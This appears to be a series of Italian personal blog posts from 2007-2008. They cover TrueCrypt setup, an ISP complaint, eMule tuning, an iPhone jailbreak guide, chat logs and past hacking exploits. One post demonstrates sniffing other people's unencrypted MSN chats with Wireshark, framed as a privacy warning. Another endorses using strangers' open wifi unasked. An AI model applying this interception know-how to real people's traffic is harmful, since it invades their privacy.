Nella seguente schermata sono impostati gli algoritmi di cifratura. Quelli che TrueCrypt ci propone come predefiniti sono quelli che danno il miglior rapporto sicurezza/velocità, potremo cioè leggerli senza rallentare troppo il sistema e stando abbastanza sicuri che nessuno potrà leggerli. Per dati particolarmente importanti potremmo scegliere altri algoritmi che saranno più lenti ma al contempo più sicuri, ma per questo vi rimando alla guida. Tenete conto che così com'è per decifrare il file ci vuole qualche migliaio di anni. Per conservare i divx di Gianna Michaels le nostre foto lontano da occhi indiscreti penso che possa bastare. Quindi procediamo..

Selezioniamo la dimensione del volume da creare. Questo non potrà essere aumentato, e graverà anche da vuoto sul vostro disco rigido. Quindi scegliamo con criterio. Se dobbiamo conservare delle foto che pesano in tutto 30 Mb e forse aumenteranno ancora un po' un volume di 50 mb potrebbe andare. Se invece dobbiamo conservare uno o più DivX ci vorrà un volume di almeno 1024 Mb (1 Gb). Se volete far stare il file in una chiavetta USB fatelo poco più piccolo della dimensione della chiavetta stessa. Qui sta a voi decidere.

Scegliamo la parola d'ordine, anche se in realtà il termine parola è poco corretto. E' infatti meglio scegliere una frase, o cmq una parola molto complessa, che contenga sia numeri che lettere e magari anche qualche simbolo come un punto esclamativo o altro. E' infatti questa la parte più insicura del programma. Se scegliamo una password semplice o facile da indovinare è chiaro che i nostri dati non saranno più al sicuro. Questo discorso comunque vale in generale per ogni parola d'ordine che avete.

Scegliamo il file system, cioè il formato, con cui i dati verranno salvati. Per massimizzare la compatibilità con tutti i sistemi vi consiglio di scegliere FAT, cioè il vecchio file system di windows, che è leggibile anche da altri sistemi come linux. C'è da dire che FAT però non è il migliore come file system e che le ultime versioni di linux hanno il supporto anche per leggere e scrivere NTFS, il "nuovo" file system microsoft. Tutto quindi dipende da dove utilizzerete questi dati. Se siete insicuri vi consiglio di usare FAT.

Il nostro volume è stato creato con successo:

Usciamo dalla schermata:

Ora che il file è creato non dovremo ripetere ogni volta tutta questa trafila ma basterà partire da qui per montarlo, per renderlo cioè utilizzabile dal sistema. Selezioniamo quindi una lettera di unità. Così come abbiamo (di solito) il disco C: nel nostro computer verrà creata un'altra lettera, sarà lì dentro che salveremo i nostri file. Inseriamo anche il percorso del nostro file appena creato e clickiamo su "monta":

Ci verrà richiesta la password scelta durante la creazione del volume:

Dalla schermata vediamo che il volume è stato riconosciuto e montato sulla lettera selezionata:

Possiamo aprire il volume per salvare i file direttamente da quella schermata, clickando due volte sulla riga con le informazioni sul volume, oppure andando in risorse del computer. Da quella schermata vediamo che è stato aggiunto un nuovo disco locale con la lettera dell'unità scelta. Cliccando due volte su quel disco si aprirà il volume e potremo utilizzarlo come una normale cartella:

Quando avremo finito di copiare, leggere, scrivere e modificare i file che ci servono dobbiamo ricordarci di chiudere tutto e smontare il volume tornando sulla schermata principale di TrueCrypt, selezionando l'unità da smontare e cliccando su "smonta". Il nostro file sarà così al sicuro, protetto da sguardi indiscreti.
Per chiudere i file possiamo eventualmente cliccare su "Dismount All", cioè smonta tutto. E' possibile infatti utilizzare contemporaneamente più volumi cifrati.

Questa è solo una panoramica generale sull'utilizzo di TrueCrypt. Per maggiori info vi rimando alla guida ufficiale.
L'utilizzo di questo programma si rende giorno dopo giorno sempre più necessario, è sempre più frequente infatti leggere notizie di personalità più o meno importanti ma anche di gente comune a cui vengono rubati i computer e i dati finiscono pubblicati su internet. Con l'abbassamento dei prezzi infatti non è tanto importante il computer di per sè quanto i dati che esso contiene.

Tiiiiiiscali che fregata!

2008-02-04T22:11:00.001+01:00

Premetto che questo è solo un resoconto di ciò che mi è successo. Non sto facendo le cose più grandi di quelle che sono, nè ci guadagno niente a mettere in cattiva luce un determinato operatore rispetto ad un altro. Sono un informatico, e voglio mostrare a chi vorrà leggermi i pericoli della rete.
Ho un contratto ADSL con Tiscali da Ottobre circa. Da allora ho avuto tre disservizi, della durata di 3/4 giorni ciascuno. Cose che capitano...in realtà non dovrebbero capitare, ma tante'.
Venerdì scorso ero senza ADSL per l'ennesimo disservizio. Mi metto a smanettare sul router per controllare le impostazioni.
Mi accorgo con totale disappunto che la velocità dell'adsl è di 4096 kbps. In effetti mi ero reso conto che la velocità non superava mai i 500 kb/s, ma pensavo fosse normale visto che la velocità non è garantita. Da quanto tempo era impostata a 4 Mb? E perchè?
Chiamo l'operatore per segnalare il guasto e segnalo anche l'errata velocità della linea. Mi dice che per il guasto apriva una segnalazione ma per la velocità avrei dovuto parlare con il reparto commerciale.
La linea è stata ripristinata il lunedì, ma la velocità era sempre la stessa. 4 Mb.
Oggi visto che sono tornato prima da lavoro e non avevo di meglio da fare chiamo il 130. La signorina controlla il contratto, mi conferma che sto pagando un'adsl a 10 mb e mi dice che se la velocità è impostata a 4 è un problema tecnico e non commerciale.
Richiamo quindi i tecnici, al costo di 52 centesimi al minuto visto che il numero è un 892. Mi rispondono che è il mio profilo che dev'essere alzato a 10 Mb e che loro non sono abilitati a farlo. Protesto, faccio notare che ho già chiamato sia un tecnico che un commerciale e che dopo tutto il giro mi hanno fatto chiamare di nuovo i tecnici. Non c'è niente da fare, mi dice che devo parlare con un commerciale.
Richiamo quindi il reparto commerciale, il caso ha voluto che mi risponda di nuovo l'operatrice commerciale di prima. Mi mette in attesa e quando torna mi dice che ha parlato con i suoi superiori, che è un problema tecnico e che se mi hanno detto il contrario...forse si sono fumati qualcosa di buono, rispondo io! Protesto, era già la quarta telefonata di cui due a pagamento. Minaccio di disdire per inadempienza contrattuale. Chiedo a Monica, l'operatrice, di parlare lei direttamente con i tecnici o di passarmi i superiori. Non vuole sentire ragioni, quello che chiedo non si può fare e devo essere io a richiamare, per la terza volta e a mie spese, i tecnici.
M'incazzo di brutto e riattacco. Si fa sera, mangio e prendo in mano il contratto deciso a compilare una raccomandata per disdire. Controllo se c'è qualche formula. Poi lascio passare un altro po' di tempo. Queste cose vanno per le lunghe e mi aspetterebbero altri mesi senza adsl.
Decido di fare un ultimo tentativo e con l'ultima briciola di diplomazia che mi resta compongo l'892130. Mi risponde l'operatore Alessandro, gli spiego la situazione, le telefonate, i continui rimbalzi. Gli chiedo di mettersi una mano sul cuore e di risolvermi il problema. La telefonata procede come segue:
Alessandro: ..dunque..tickle tickle...si in effetti l'adsl è impostata a 4Mb..tickle tickle..controllo se c'è qualche motivo particolare..tickle tickle..no non c'è nessun motivo particolare..tickle tickle..controllo se è stato fatto qualche lavoro recentemente..tickle tickle..si forse è stata abbassata in seguito ad un intervento ma poi l'avrebbero dovuta rialzare..cmq facciamo richiesta di ripristinare il tutto...tickle tickle...ok tra qualche giorno dovrebbe essere tutto a posto. Grazie, buona serata.
Ora, io ho speso un pomeriggio, una decina di euro e mi sono roso il fegato per un problema loro e che ho chiesto a spese mie di risolvermi. E per fortuna che mi sono accorto, altrimenti col cavolo che mi davano una 10 mega. E gli utenti che non sono smaliziati quanto me? Forse loro non se ne accorgeranno mai e pagheranno un sacco di soldi per avere neanche la metà di quello che pagano.
Il supporto di tiscali costa 52 centesimi al minuto. Dal momento che pago pretendo che a rispondere al telefono ci mettano dei tecnici qualificati e invece mi trovo gli stessi che dall'altra parte invece sono gratis. Venerdì scorso nei log del router veniva fuori l'errore "connection reset by peer" e una volta che l'ho segnalato il "tecnico" mi ha chiesto se ho qualche programma peer to peer aperto..MA LOL! Ci mancava che mi chiedesse di premere il tasto any..
Premettendo che con le tariffe che ci sono in Italia secondo me gli operatori sono tutti dei ladri legalizzati, quando ero con wind non ho mai avuto problemi. Pagavo tanto, ma tutto filava liscio e la mia 4 Mb andava sul serio a 4 Mb. Visto che mi trovavo bene alle persone che mi chiedevano consiglio rispondevo di farsi l'adsl con wind. In questo modo gli ho portato almeno altri quattro clienti sicuri, se non anche di più.
Io dico, ma se la tiscali invece di spendere migliaia di euro per pagare Ezio Greggio, con tutto il rispetto che ho per lui e per il suo lavoro, cercasse di migliorare il customer care e l'affidabilità delle linee, forse i clienti arriverebbero lo stesso e sarebbero più contenti..e a loro volta porterebbero nuovi clienti.

Velocizzare eMule e renderlo più sicuro

2008-02-02T14:50:00.000+01:00

Il nostro mulo è lento? Ci preoccupiamo che le cattive case discografiche mettano il naso nei nostri download? Ci mettiamo mesi a scaricare l'ultimo film l'ultima versione di OpenOffice? E' facile risolvere con qualche accortezza.
Io, dopo tante prove, sono riuscito a raggiungere questo risultato:

Credo che i numeri parlino da soli. Vi spiegherò come ho fatto.
Intanto cominciamo col dire che eMule si appoggia a due diverse reti, la rete edonkey (ed2k) e la rete kad, che hanno caratteristiche molto diverse tra loro.
La rete ed2k è centralizzata, questo cosa vuol dire? Quando ci colleghiamo alla rete ed2k, in realtà noi ci appoggiamo ad un server che ci tiene in collegamento con tutte le altre persone (client). Quando faremo una ricerca sarà a lui che diremo cosa cercare. Lui chiederà a tutti gli altri se hanno a disposizione quel file. Sarà sempre lui che ci darà il risultato della ricerca. Infine noi ci collegheremo direttamente col client che ha il file. Tutta la transazione però è passata da un solo server. Cosa succede se qualcuno mette sotto controllo quel server? Semplice, ha libero accesso alle informazioni sui file scambiati da tutti i client.
La rete kad, a differenza della rete ed2k, è decentralizzata. Non esiste un server principale, ma ci collegheremo direttamente a dei nodi (client) conosciuti, che ci daranno l'indirizzo dei nodi a cui loro sono collegati, che a loro volta ci daranno altri indirizzi e via così. Si creerà così una rete di nodi senza nessuno che comanda. Per controllare questa rete occorre mettere sotto controllo ogni singolo nodo, cosa pressocchè impossibile. Aggiungiamo che la rete ed2k ruba risorse importanti per la velocità dei nostri download.
Come la disattiviamo allora? Semplicemente andando in Opzioni > Connessione e deselezionando il quadratino con scritto in fianco ed2k e selezionando invece il quadratino con scritto kad, se non è già selezionato.
Sempre nella schermata delle connessioni ci sono altri parametri. Vi incollo sotto la mia schermata che ben si adatta ad una normale adsl. Noterete che è diminuito il numero di connessioni massime. Questo perchè così eMule terrà attive solo quelle più prestanti, risparmiando banda preziosa che sarebbe altrimenti andata persa.
Queste impostazioni, se da un lato migliorano la velocità di download, rallentano la partenza dello stesso. Diminuendo infatti il numero di connessioni massime eMule ci metterà di più a controllarle tutte. Non vi preoccupate se i vostri download non partono subito, recupererete dopo. Tenete conto inoltre che più download in coda ci saranno, maggiori saranno le prestazioni. Per mia esperienza il massimo si raggiunge con 10/15 download in coda. Oltre si rischia di saturare la banda.

Importante è anche trovare i file migliori da scaricare. eMule ha un limite di risultati che possono essere mostrati e spesso capita, se la ricerca non è abbastanza restrittiva, che vengano mostrati solo i peggiori. Dovremo impostare meglio la nostra ricerca in modo da eliminare i risultati che hanno poche fonti o che non sono attinenti con quello che abbiamo cercato.
Per fare questo impostate sempre nella ricerca il tipo di file che volete trovare. Se state scaricando un video, piuttosto che un file audio o se vi aspettate l'immagine di un cd vi consiglio di dirlo ad eMule e di non lasciare il campo "Tipo" a "Qualsiasi". Questo eviterà i falsi positivi.
Impostate inoltre la disponibilità, che altro non è che il numero di persone minimo che possiedono quel file. Spesso su eMule troviamo molte versioni dello stesso file. Per scaricare più velocemente dobbiamo scaricare la versione che hanno in più persone. Impostando la disponibilità a (per esempio) 100, eviteremo di vedere risultati che hanno meno di 100 persone, in modo da dare spazio a file più popolari. Se i risultati sono comunque tanti ci conviene alzare ulteriormente finchè non saremo certi che i risultati mostrati siano il meglio. Ricordatevi però che se un risultato ha più di 1000 fonti di solito è una fregatura.

Acquario

2008-01-16T19:43:00.001+01:00

Oggi vi mostro un video del mio nuovo acquario, attivo da appena 2 settimane.
Per ora dentro vi risiedono quattro guppy, due femmine arancioni, un maschio giallo e uno azzurro, un pulitore da fondo e uno da parete.
Sembra però che la popolazione sia destinata ad aumentare visto che una delle due femmine sembrerebbe essere incinta....non ha perso tempo sta zoccola :P

7 anni di hacking

2008-01-09T23:15:00.000+01:00

Recentemente sono tornato in un locale, la bodeguita del medio (che si trova qui), che frequentavo un tempo con un amico, Michelangelo, i primi mesi dopo il trasferimento a Verona.

Sono stati mesi difficili. Mi mancavano gli amici di Vicenza, vivevo alla giornata senza sapere bene dove fossi e dove stessi andando.
In questo locale è permesso scrivere sui muri. Con un certo stupore ho trovato scritte che avevo lasciato 7 anni fa:
Sebbene sia sempre stato appassionato di computer fin da bambino, quando giocavo con le primissime versioni del flight simulator, o quando muovevo i primi passi sotto dos per far partire quel maledetto arkanoid (provateci voi alle elementari e senza nessuno che vi spiega..), mi accorgo ora che dev'essere stato questo il periodo in cui ho dato libero sfogo al mio spirito hacker.
Il pc, l'unica via di fuga dalla solitudine e dalla noia. Un 486 ormai vetusto e con il quale dovevo sempre ingegnarmi per fare quella tal cosa così banale eppure così dannatamente difficile con un pc vecchio.
E' stato questo il periodo delle scorribande in IRC, del papasmurf, del netbus, delle notti insonni con legion, delle botnet e delle shell hackate..bisognava prostituirsi per strappare all'amico lo script per bucare wuftp e guadagnare una nuovo accesso ad un altro sistema, per potersi nascondere meglio e continuare il gioco..alcuni rabbrividiscono, sono cose da lamer. Ma è da qui che ho iniziato, e come me tanti altri. Non ho mai sentito nessuno che aveva la passione di ricompilare kernel di linux prima di far vedere agli amici che riusciva ad aprirgli il cdrom di nascosto..
20000325, dice la scritta sul muro. Sono passati quasi 7 anni. Sette anni in cui tante cose sono cambiate. Ora sono passato dalla parte dei buoni, se così possiamo definirli. O forse lo sono sempre stato, ma in maniera differente. Ora invece di aprire buchi li chiudo, ma lo spirito è sempre lo stesso, quello della scoperta.
Grazie a tutte le persone che hanno condiviso un pezzo di strada con me.
E un messaggio per tutti: non smettete mai di essere curiosi.

Sblocco iPhone 1.1.2 OOB

2007-12-28T14:46:00.001+01:00

Mi è capitato in questi giorni di avere a che fare con uno dei nuovi iPhone.
Credo che la cifra spesa (400$) per questi giochini sia eccessiva visto il set di funzionalità che hanno. Niente mms, niente gps, ecc. E' solo apparenza. Bellissimo il design, bellissimi gli effetti grafici e il touch screen. Ma questo è tutto. Se volete essere alla moda è il telefono che fa per voi, se invece cercate funzionalità è meglio che vi rivolgiate da un'altra parte.
E' inoltre piuttosto stupido spendere tutti quei soldi se gli iPhone vengono dagli stati uniti, e sono bloccati sulla sim di at&t. In quel caso prima di arrivare a giocare col nuovo gingillo bisognerà smacchinare parecchio, rischiando pure di bruciarlo per sempre. Bisogna inoltre mettere in conto che ogni volta che faremo un aggiornamento l'iPhone potrebbe smettere di funzionare.
Se siamo disposti a superare tutto questo e vogliamo per forza l'iPhone bene, questi appunti fanno per voi.
Io ho avuto a che fare con un iPhone 1.1.2 OOB, cioè uno degli ultimi con firmware 1.1.2 di fabbrica.
Ad oggi, nonostante circolino un casino di leggende metropolitane su cuGGini e amici misteriosi che sono riusciti a farli andare, non è ancora uscito nessun sistema ufficiale gratuito per sbloccarlo completamente. Tutto quello che riusciremo a fare senza spendere un centesimo è trasformare il nostro iPhone bloccato in un grosso iPod. Niente sim, niente telefonate, niente SMS. Per far funzionare anche le telefonate bisognerà spendere circa 100 euro per TurboSIM, un tool che permette di ingannare il cell e fargli crede che al posto della nostra sim dentro ci sia la sim di at&t. AnySIM con gli iPhone 1.1.2 OOB non funziona.
I manuali che ho seguito sono sostanzialmente due: uno di TheiPhoneBlog e uno di iPhoneAtlas.
Cito testualmente da loro:

1° Passaggio, DownGrade a 1.1.1

1) Aggiorna iTunes alla versione 7.5
Apri iTunes, vai sul menù e seleziona “Verifica aggiornamenti”, aggiorna e poi chiudi iTunes.

2) Chiudi il processo iTunes Helper
In questo modo eviti che iTunes venga attivato ogni volta che colleghi l’iPhone al cavo USB.

MAC: Apri Monitoraggio attività in ->Applicazioni ->Utility, cerca in “Nome processo” il processo “iTunes Helper”, selzionalo e clicca su “Esci dal processo” e poi conferma.

WIN: Premi contemporaneamente Ctrl+Alt+Canc, seleziona la scheda "Processi", seleziona il processo "iTunes Helper.exe", seleziona "Termina processo" e poi conferma.

3) Aggiorna il firmware di iPhone alla versione 1.1.2
Il processo è semplicissimo, ti basta collegare il tuo iPhone al Computer, avviare iTunes ( non si dovrebbe avviare in automatico se hai seguito bene il secondo passo ) ed aggiornarlo alla versione 1.1.2 (proposta di default da iTunes ).

4) Scarica l’ultima versione del programma iNdependence (MAC) oppure iDemocracy (WIN).
Puoi tranquillamente scaricare la versione beta che funziona a dovere.

5) Scarica il firmware 1.1.1
Scarica il firmware 1.1.1 e mettilo dul desktop, se il sistema te lo scompatta in automatico, ti basterà selezionare la cartella scompattata con il tasto destro del mouse e selezionare “Comprimi …….. “, in questo modo recupererai il file originario.

4) Downgrada il firmware di iPhone a 1.1.1
(Leggi TUTTO con attenzione prima di eseguire le indicazioni)

4.1) Assicuratevi che iNdependence & iTunesHelper siano chiusi e che iTunes sia aperto.

4.2) Premi contemporaneamente il tasto HOME ( quello centrale all’iPhone ) ed il tasto POWER ( quello in alto che serve per accenderlo/spegnerlo ) e continua a tenerli premuti anche quando apparirà la freccetta rossa per spegnerlo, subito dopo lo schermo diventerà nero, conta fino a tre e lascia solo il tasto POWER, quello in alto, continuando a tenere premuto il tasto HOME fino a quando iTunes non ti avvertirà che c’è un telefono in modalità recupero ( circa 3/5 secondi ).

4.3) A questo punto dai l’ok ad iTunes, dopodichè tenendo premuto il tasto ALT del Computer clicca con il mouse sul tasto RIPRISTINA IPHONE, fatto questo si aprirà una finestra che chiederà il percorso del file contenente il firmware, pertanto sarà sufficente selezionare il file salvato in precedenza sul desktop.

A questo punto passiamo all'altra guida:

# Download the iTunes 1.1.2 jailbreak folder from Conceited Software.
# If you are using a Mac, double-click jailbreak.jar in the file you just downloaded. If you are on a Windows system, double-click the file windows.bat. Click the “Boot from Recovery” button. This should force the iPhone out of recovery mode.
# This process can take several minutes or can be instant. In some cases, the phone will automatically reboot and go to the “Activate iPhone” screen. In other cases, the progress bar never finishes, but the proper process occurs, and the iPhone screen goes completely black with the device powering off. At this point, you might need to hold down the power button for several seconds until the device restarts. If 10 or minutes have gone by and nothing has happened (the recovery mode screen, with an iTunes icon and a USB cable, is still displayed on your iPhone), try disconnecting your iPhone and reconnecting it and trying again, or restart your computer and trying again.
# Launch iTunes if it is not open. You will no see the “Waiting for Activation” screen, but your iPhone won’t activate.

e ora torniamo alla prima:

2° Passaggio, Sblocco 1.1.1

Lo sblocco del firmware 1.1.1 è molto semplice ! Basta avere una rete senza fili ( WiFi ), e si può fare anche senza connettersi al computer.

1) Accendi iPhone, apparirà il GLOBO con sotto il cursore che toccherà “strisciare” verso destra per eseguire una chiamata di emergenza.

2) Componi questo numero: *#307# e di seguito clicca su CALL, il telefono inizierà a squillare, a questo punto con la freccetta in alto a destra cancella il codice che hai appena composto ( intanto il telefono continua a squillare).

3) Mentre il telefono continua a squillare digita il numero 0 (zero) e clicca sempre su CALL, poi su ANSWER, poi su HOLD e poi su DECLINE, finita questa procedura si avrà il menù della parte cellulare di iPhone.

4) Seleziona CONTACTS e poi il + (più) in alto a destra per creare un nuovo utente.

5) Nel nuovo utente selezionare NEW URL e sotto URL digitare: prefs://1f e di seguito SAVE

6) Allo stesso modo subito sotto seleziona nuovamente NEW URL e sotto URL digita: jailbreakme.com ( senza www o http:// ) e subito sopo SAVE

7) Ora digita nuovamente SAVE e seleziona la voce prefs://1

8 ) Se tutto è andato liscio si è aperto il menù delle impostazioni dove dovrai selezionare WiFi per fargli riconosere la nostra rete WiFi, trovala e selezionala affinchè appaia un visto sulla parte sinistra del nome della rete.

9) A questo punto premi il tasto HOME del telefono, e vai nuovamente a comporre il numero 0 (zero), poi ANSWER, HOLD e DECLINE

10) Sei rientrato nel menù telefono dell’iPhone dove si trova il contatto NO NAME precedentemente creato, clicchiamo su NO NAME e poi su jailbreakme.com

11) Ti apparirà AppSnapp Installer for 1.1.1, scorri la pagina verso l’alto finché non finisce, a questo punto seleziona “Install AppSnapp”

12) Se hai eseguito tutto correttamente il telefono tornerà alla schermata principale per poi spegnersi e riaccendersi sbloccato. Se torna alla schermata del GLOBO senza riavviarsi, ricomincia il tutto dal downgrade 1.1.1

3° Passaggio, Upgrade e Sblocco 1.1.2

Una volta sbloccato il firmware 1.1.1 dovrai procedere alla preparazione dello sblocco della successiva versione 1.1.2 installando su iPhone un programma chiamato OktoPrep:

1) Una volta sbloccato l’ 1.1.1 troverai nella schermata principale del telefono un’icona chiamata INSTALLER.

2) Clicca su questa icona per far partire il programma INSTALLER, seleziona Donate Later, e procedi cliccando sull’icona in basso a sinistra raffigurante un segno + (più).

3) Scorri la lista finchè non troverai la cartella TWEAKS (1.1.1). Selezionala e di seguito cerca il programma OktoPrep.

4) Selziona il programma e, nella schermata successiva, seleziona Install in alto a destra.

5) Se tutto è andato bene apparirà una schermata che ti dirà che puoi procedere con l’aggiornamento alla 1.1.2.

6) A questo punto esci premendo il tasto HOME dell’iPhone e collegalo al Computer.

7) Avvia iTunes e, una volta che iTunes avrà riconosciuto l’iPhone, dagli un nome, togli la spunta su Sincronizza e nella schermata successiva clicca su Aggiornamento ( mi raccomando: non su recupera ). In questo modo iTunes provvederà ad aggiornare il firmware dell’iPhone all’ultima versione 1.1.2.

8 ) Una volta che iTunes avrà finito dovrai fare l’ultimo passo, ovvero chiudere iTunes con MELA+Q e far partire il programma jailbreak.jar che si troverà nella cartela del file che hai scaricato cliccando su jailbreak.jar

9) Facendo partire il programma Jailbreak.jar si aprirà una finestra, in questa finestra spunta con il mouse la voce SSH, controlla che il telefono sia collegato al Computer (MAC e WIN) ed esegui il Jailbreak.

10) Una volta finito, se non ci avrà dato errori, spegni il telefono e riaccendilo, aspetta che parta, che si spenga e riaccenda da solo. A questo punto hai un iPhone sbloccato in tutto tranne che nella parte telefonica: potrai così installare qualsiasi programma, compresi i programmi per sbloccare la parte telefonica. Senza installare nessun programma per lo sblocco della parte telefonica procediamo immediatamente all'utilizzo di StealthSIM per aggirare questo ostacolo.

Questo è tutto. Così l'iPhone dovrebbe essere sbloccato. Chi vuole può comprarsi StealthSIM o TurboSIM o simili e continuare eliminando così anche il blocco della SIM. Chi invece non vuole spendere altri soldi dovrà aspettare che AnySIM venga adattato.
Attenzione. Ho riportato questo solo come appunto personale e per aiutare chi dovesse trovarsi in difficoltà come lo sono stato io. Se fate danni sono problemi vostri. Se avete problemi sono problemi vostri. La guida è valida oggi, se domani qualcosa cambia sono problemi vostri. In generale tutto è un vostro problema. Se avete problemi rivolgetevi a chi ha scritto le guide. Io non so molto più di voi ;)

Come mi faccio gli affari tuoi

2007-12-24T13:38:00.000+01:00

Quanti si fidano della chat? Nessuno eh? Eppure per esperienza personale so per certo che tutti o quasi usano la chat per parlare di affari personali, scambiare password, contenuti privati, dati, ecc.
Bene, oggi vi mostrerò quanto sia banale intercettare e leggere una chat altrui, msn messenger in particolare visto che è quella più in voga.
Ci serviremo di due programmi:

Pidgin, che è un client msn libero. Potevo usare anche messenger, non sarebbe cambiato niente. Uso questo solo perchè ce l'ho già installato sul pc.
Wireshark, che dice di essere un analizzatore di rete. In questo caso lo useremo come semplice sniffer. Ci sono programmi più specifici, invisibili, che inviano il log, cioè l'intera conversazione, via email o che la inoltrano in copia ad un altro account in tempo reale, ecc. A me non interessa. Mi basta dimostrare che quello che sto dicendo è vero e fattibile, il resto vien da sè.

Come funziona la rete a grandi (grandissime) linee? Quando io mando un messaggio ad un amico, in realtà lo affido a un apparecchietto, che si chiama router e che, come dice la parola stessa, instrada i pacchetti di dati. Questi pacchetti, contenenti il messaggio, vengono inviati al router del mio provider, che a sua volta li indirizzerà al server msn, che li instraderà verso il provider del mio amico, che li consegnerà al router del mio amico stesso, che vedrà il messaggio ricomporsi ed apparire sul suo messenger. Questo non è sempre e del tutto vero, ci sono molte sfaccettature, ma è giusto per dare un'idea della cosa a chi non sa.
Con msn ogni router, e in generale ogni computer da cui passano i pacchetti, vede passare il messaggio in chiaro. Con opportuni programmi, chiamati sniffer, possiamo leggere i dati che passano e farci allegramente gli affari degli altri. Leggere password, messaggi privati, dati personali, ecc. E per fare tutto questo bastano veramente 2 minuti. Proviamo..

Ok, pronti a partire..apriamo pidgin, il client msn, e vediamo su che porta lavora. Questo per evitare di dover guardare troppi dati. Mettiamo un filtro sulla porta così vediamo solo i dati che ci interessano:

La porta è la 1863. Bene. Apriamo wireshark e impostiamo il filtro su questa porta:

Poi clickiamo su start e facciamo partire lo sniffer. Ora mandiamo un messaggio ad un amico (grazie 1000 ikee), un messaggio che non vorremmo mai si venisse a sapere in giro:

Perfetto, apriamo wireshark e vediamo cos'ha registrato..con grande meraviglia, ma neanche più di tanto, troveremo esattamente quello che ci aspettavamo, e cioè il nostro messaggio bello in chiaro:

Magia? Chiaroveggenza? No, semplicemente un GROSSO problema di sicurezza. Le connessioni a msn non sono crittate. Tutti i pc da cui transitano i pacchetti possono vedere facilmente i contenuti dei messaggi.
Ora ci penserete due volte prima di mandare via il vostro numero di cellulare, la carta di credito, la password della posta, la foto in mutandine e reggiseno (eh si, anche i file scambiati si possono ricomporre, pur facendo un giro leggermente diverso).
C'è da dire che chat come skype, gtalk, ecc sono invece crittate. Cosa vuol dire? Che i pacchetti non passano in chiaro. Vengono cifrati prima di uscire dal nostro pc. Questo se da una parte non risolve il problema al 100%, infatti anche le connessioni cifrate possono essere lette, complica decisamente la vita a chi si vuole fare gli affari vostri.
Consiglio vivamente a chi vuole fare due chiacchiere di preferire chat crittate a chat in chiaro. La migliore di tutti per ora resta quella dell'articolo Chat Sicura.

Grazie Marisa!

2007-12-02T23:59:00.000+01:00

C'è una persona che non ho mai ringraziato, una persona che non conosco ne ho mai visto. A dire il vero non so neanche se esista sul serio. Grazie Marisa!
Per voi che vi state chiedendo chi è Marisa, che forse avete visto in chat la scritta "Sponsored by Marisa", ebbene sappiate che lei, come tante altre persone, è un'utente ADSL che ha deciso più o meno consapevolmente che non era necessario proteggere con una password la sua rete wifi, e di lasciarla gentilmente aperta a chi come me avesse avuto bisogno di internet.
Dopo il trasferimento c'è voluto diverso tempo per la riattivazione del collegamento in casa. Eppure, grazie a Marisa, non sono mai stato un giorno senza internet.
Mi è capitato di girare per la città e di controllare se nelle vicinanze ci fossero state reti wifi non protette. Ce ne sono un sacco! Praticamente tutto il centro storico è cablato da invisibili cavi di rete. Chi vuole internet basta che si attacchi ad una qualsiasi rete per sfruttare la connessione di qualche (ignaro?) cittadino.
Consiglio vivamente a tutti di proteggere la propria rete wifi con, almeno, una chiave WPA. Immaginate cosa potrebbe fare un malintenzionato, e ce ne sono parecchi, sfruttando il vostro collegamento. Scambio di materiale illegale, furto di dati, ecc. Credete che la polizia postale poi vada da lui? No, siete voi gli intestatari del contratto e unici responsabili.
Se avete in casa una rete senza fili e non sapete che bestie siano WEP, WPA, ecc, consiglio di fare ricerche su internet, dare una letta al manuale del vostro access point e, se proprio non ne date fuori, chiedete al vostro amico smanettone: c'è sempre un amico smanettone in ogni famiglia lol.

I danni di Chernobyl

2007-11-21T21:41:00.000+01:00

[21:36:31] D says:
ma sai
[21:36:45] D says:
qnd uno si trova a nascere con due uccelli è difficile
[21:36:54] D says:
maledetta chernobil

Viaggio a Barcellona

2007-11-19T20:06:00.000+01:00

A volte i viaggi migliori sono quelli organizzati all'ultimo momento, in un impeto di follia.

Sabato pomeriggio, alle 15, Nicola ed io eravamo in chat. Questo è il log completo di come è stata lanciata l'idea del viaggio. Alle 18.30 avevamo i biglietti dell'aereo in mano. Meno di 3 ore.
Il viaggio è stato eccezionale, soprattutto grazie agli ottimi compagni di avventura.
Il concerto della Bandabardò è stato indimenticabile, forse perchè loro sono stato bravissimi a suonare, forse per il contesto, chissà.
Voglio ringraziare con tutto il cuore Enea, Nicola e Fabio per i bellissimi momenti. A quando Londra?

[Conversation started on 10 Nov 2007 14:56:52]
[15:04:36] D : è una notte senza luna
[15:04:43] D : ubriaco canta amore alla fortuna
[15:05:19] T : 16/11 san sebastian
[15:05:24] T : 15/11 barcellona
[15:05:25] T : andiamo?
[15:05:27] T : :D
[15:07:59] D : ma va?
[15:08:02] D : la banda?
[15:08:05] D : davvero?
[15:08:06] T : yes
[15:08:16] D : sììì
[15:08:19] D : cazzo
[15:08:21] D : andiamo
[15:08:24] D : che figata sarebbe
[15:08:34] D : hai ancra il numero dell'albergo?
[15:08:43] T : a barcellona?
[15:08:52] D : sì
[15:09:26] D : dai cazzo
[15:09:31] D : prendiamo 3 bijettos
[15:09:42] D : una noche
[15:09:46] D : maximo dos
[15:10:51] D : vamos?
[15:10:58] D : prendete dos dies de ferie
[15:11:51] T : http://www.arrahonahotel.com/presentacion_eng.htm
[15:12:58] D : cazzo
[15:13:03] D : lo diciamo al bronz
[15:13:05] D : daiii
[15:13:10] T : ahhaha
[15:13:14] D : lui pensa ai bijettos
[15:13:22] D : bisogna vivere
[15:13:27] D : viva la vida
[15:13:30] T : ma se non siamo neanche in grado di andare in montagna qui a vr da soli..
[15:13:34] D : muerte a la muerte
[15:13:34] T : figurati a barcellona :D
[15:13:46] D : daiii
[15:13:51] T : ok
[15:13:53] D : a parte che c'è un amico del bronz
[15:13:55] T : io ci sto
[15:13:58] D : amici della mamma
[15:14:04] D : al max chiediamo a loro
[15:14:08] D : o chiamiamo al cell elia
[15:14:14] D : ora lo chiamo subito
[15:14:19] T : si ci portiamo l'interprete
[15:14:23] D : ma enea inizia subito il lavoro?
[15:14:28] T : che ne so
[15:14:29] D : dalla sett prox?
[15:14:32] T : non credo
[15:14:44] D : ora lo chiamo
[15:14:50] D : resta lì
[15:14:54] D : nn scappare
[15:15:09] T : http://www.bandabardo.it/tour/1189/
[15:17:55] D : lairalala lairalal lairalalalala

Foto

2007-10-03T00:21:00.000+02:00

Oggi mi sono tornate in mano le foto della festa della sinistra giovanile a cui ho partecipato quest'estate in occasione del concerto dei Jacinto Canek.

Posto le foto post concerto; la prima con Fischio, il cantante, a sinistra e il Devi, quello di unaputtanaconghiaccio, in centro:

La seconda invece con Pont, il chitarrista, in centro e sempre il Devi a sinistra:

2007-09-21T14:10:00.000+02:00
